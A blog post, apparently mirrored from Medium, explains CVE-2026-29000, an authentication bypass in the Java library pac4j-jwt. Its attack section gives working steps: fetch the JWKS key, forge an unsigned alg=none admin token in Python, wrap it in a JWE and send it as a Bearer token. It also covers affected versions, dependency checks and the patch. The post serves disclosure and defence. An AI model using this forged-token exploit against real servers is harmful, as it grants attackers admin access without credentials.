The Bouncer Who Never Checked IDs

medium.com · 0xStxrless · 8 days ago · news
quality 7/10 · good
0 net
The Bouncer Who Never Checked IDs | by 0xStxrless - Freedium Milestone: 20GB Reached We’ve reached 20GB of stored data — thank you for helping us grow! Patreon Ko-fi Liberapay Close < Go to the original The Bouncer Who Never Checked IDs CVE-2026–29000 · pac4j-jwt · CVSS 10.0 Critical 0xStxrless Follow ~6 min read · April 3, 2026 (Updated: April 3, 2026) · Free: Yes Tags: Bug Bounty · Auth Bypass · Java · 2026–03–26 Library: pac4j-jwt · Fixed in: 4.5.9 / 5.7.9 / 6.3.3 · Discovered by: CodeAnt AI Security What Even Is This Okay so before we get into the how, let's talk about the what. Most apps today use something called a JWT (JSON Web Token) to keep you logged in. Think of it like a wristband you get at a festival — after the bouncer checks your ticket once, you wear the band and can walk in and out freely without showing your ticket every single time. Now, there's a library called pac4j-jwt — used by thousands of Java apps — that handles all of this wristband logic. Turns out it had a massive bug: if you gave it a wristband that was sealed in an envelope , it would just... assume the wristband inside was legit. Without actually checking whether someone authorized it. No signature check. Nothing. An attacker with nothing more than the server's RSA public key — which is literally designed to be public — could authenticate as any user, including admins. No password needed. No stolen secret. Nothing. A Tiny JWT Crash Course Before we break things, we need to understand how JWT auth is supposed to work. There are two separate ideas at play here, and the bug comes from confusing them: 01. Signing (JWS) — the server stamps the token with its private key. This proves "I made this and it hasn't been touched." Like a wax seal on a letter. 02. Encryption (JWE) — the token is wrapped in an outer envelope using the server's public key. This means only the server (who has the private key) can open it. It keeps the contents secret in transit. 03. What apps usually do — both. Wrap a signed token inside an encrypted envelope. Layer 1 = privacy, layer 2 = identity proof. The critical distinction: encryption answers "who can read this?" and signing answers "who created this?" They are not interchangeable. pac4j was confusing the two. The Actual Bug Inside pac4j's JwtAuthenticator , when it receives an encrypted token (JWE), it decrypts the outer envelope and then tries to read what's inside. The inner token is supposed to be a SignedJWT — a token with a proper signature attached. Here's the broken logic (simplified): // step 1: decrypt the outer envelope String decryptedInner = jweDecrypter.decrypt(incomingToken); // step 2: try to parse inner as a signed token SignedJWT signedJWT = parseAsSignedJWT(decryptedInner); // step 3: verify the signature... but wait if (signedJWT != null) { verifySignature(signedJWT); // only runs if it was a SignedJWT } // step 4: build user profile from claims — RUNS REGARDLESS JWT anyJWT = parseAsAnyJWT(decryptedInner); buildProfile(anyJWT.getClaims()); // no check that signing passed See the problem? If the inner token is a PlainJWT — a token with alg=none , meaning literally no algorithm, no signature — then signedJWT comes back null . The signature check block is skipped entirely. But the code still builds a user profile from the claims inside. Claims the attacker wrote themselves. The server never verified who created the inner token. It just… believed it. Because it was inside the encrypted envelope, the code assumed it must be trustworthy. How an Attacker Exploits This Here's what the attack actually looks like, step by step. All you need is the server's public key — which many apps expose openly at something like /jwks or /.well-known/jwks.json so clients can verify tokens. Completely normal and expected. Step 1 — Grab the Public Key # lots of servers expose this endpoint by default curl https://target-app.com/.well-known/jwks.json # response looks something like: { "keys": [{ "kty": "RSA", "n": "0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2...", "e": "AQAB", "kid": "2011-04-29" }] } Step 2 — Craft a Fake Inner Token (PlainJWT) A PlainJWT is basically a JWT that says "no signature needed, trust me bro." The attacker writes whatever claims they want: import json, base64 # write whatever claims you want header = {"alg": "none"} # <-- no signature algorithm payload = { "sub": "admin", # <-- claim to be the admin user "roles": ["ROLE_ADMIN"], "iat": 1741200000, "exp": 9999999999 } def b64url(data): return base64.urlsafe_b64encode( json.dumps(data).encode() ).rstrip(b'=').decode() # PlainJWT = header.payload. (empty signature) plain_jwt = f"{b64url(header)}.{b64url(payload)}." print(plain_jwt) Step 3 — Wrap It in an Encrypted Envelope (JWE) Now encrypt that fake inner token using the server's public key. This is the part that makes it look legit at first glance — it's a properly encrypted package, it's just that what's inside is garbage (unsigned claims): from jwcrypto import jwk, jwe import json # load the server's public key (the one we grabbed) with open("server_public.pem") as f: public_key = jwk.JWK.from_pem(f.read().encode()) # encrypt our fake PlainJWT inside a JWE token = jwe.JWE( plaintext=plain_jwt.encode(), protected=json.dumps({ "alg": "RSA-OAEP", # encrypt with their public key "enc": "A256GCM", "cty": "JWT" # content type = jwt (important) }) ) token.add_recipient(public_key) malicious_token = token.serialize(compact=True) print(malicious_token) # send this as Bearer token Step 4 — Send It # use the forged token as a normal Authorization header curl -H "Authorization: Bearer " \ https://target-app.com/api/admin/users # response from a vulnerable server: { "users": [...], # full admin access. no password used. "role": "ROLE_ADMIN" } The server decrypts the envelope successfully (it's a valid JWE), sees a JWT inside, skips the signature check because signedJWT is null, and happily builds an admin session for the attacker. Impact Complete authentication bypass — no credentials needed at all Full privilege escalation — attacker can claim any role, including ROLE_ADMIN No victim interaction required — pure server-side attack The exploit is automatable — CISA confirmed this: "automatable: yes" Public key is often openly discoverable via standard endpoints Affects any Java app using pac4j-jwt with encryption configured — Spring, Vert.x, Play Framework, JEE, and more Are You Affected? You're only vulnerable if your app uses pac4j-jwt with encryption (JWE) enabled . Apps that only use signed JWTs (no encryption layer) aren't vulnerable to this specific path. But honestly — check anyway. Version Line Vulnerable Below Safe Version 4.x 4.5.9 4.5.9 ✓ 5.x 5.7.9 5.7.9 ✓ 6.x 6.3.3 6.3.3 ✓ To check your version in a Maven project: # look in pom.xml for this dependency: grep -r "pac4j-jwt" pom.xml # or check your full dependency tree mvn dependency:tree | grep pac4j # for gradle: ./gradlew dependencies | grep pac4j The Fix The patch is actually pretty clean. The maintainer, Jérôme Leleu, fixed it by making the code explicitly reject any inner token that isn't a properly signed JWT — before it ever touches the claims. SignedJWT signedJWT = parseAsSignedJWT(decryptedInner); // PATCHED: if it's not signed, reject immediately if (signedJWT == null) { throw new CredentialsException( "inner JWT must be signed — PlainJWT not accepted" ); } // only continue if signature is present AND valid verifySignature(signedJWT); buildProfile(signedJWT.getClaims()); // now safe The fix ensures decryption success ≠ identity proof. You must prove both "only you could have encrypted this" AND "a trusted party signed the inner claims." They're separate questions that both need separate answers. How It Was Found This one was found by CodeAnt AI Security as part of a project auditing whether CVE patches in open-source packages actually fix the underlying vulnerability — not just the reported symptom. Their AI code reviewer flagged a null check sitting directly in front of the signature verification block that could silently skip it. A human engineer reviewed the flag and confirmed it was exploitable. Disclosure was sent to the maintainer on February 28, 2026. The response was fast — no back-and-forth, just a confirmation and a patch. Published March 3rd. A public PoC also exists, and a second researcher independently reproduced it a week later via a slightly different payload. What to Take Away From This This is one of those bugs that's easy to miss precisely because the code looks reasonable. Decryption worked → inner content is present → build profile. The logical mistake is treating "the envelope was genuine" as proof that "the contents are authorized." They're not the same thing. Encryption ≠ trust. Wrapping something in an encrypted envelope just proves you encrypted it. It doesn't prove anyone legitimate put it there. Always verify both layers independently. Outer encryption + inner signature = two separate security guarantees that must both pass. Explicitly reject what you don't expect. If you expect a SignedJWT , treat a PlainJWT as an attack, not as a fallback. Transitive dependencies are blind spots. pac4j might be pulled in by a framework you don't even know uses it. Audit your full dependency tree. stxrless · 2026 #cybersecurity #hacking #bug-bounty Reporting a Problem Sometimes we have problems displaying some Medium posts. If you have a problem that some images aren't loading - try using VPN. Probably you have problem with access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).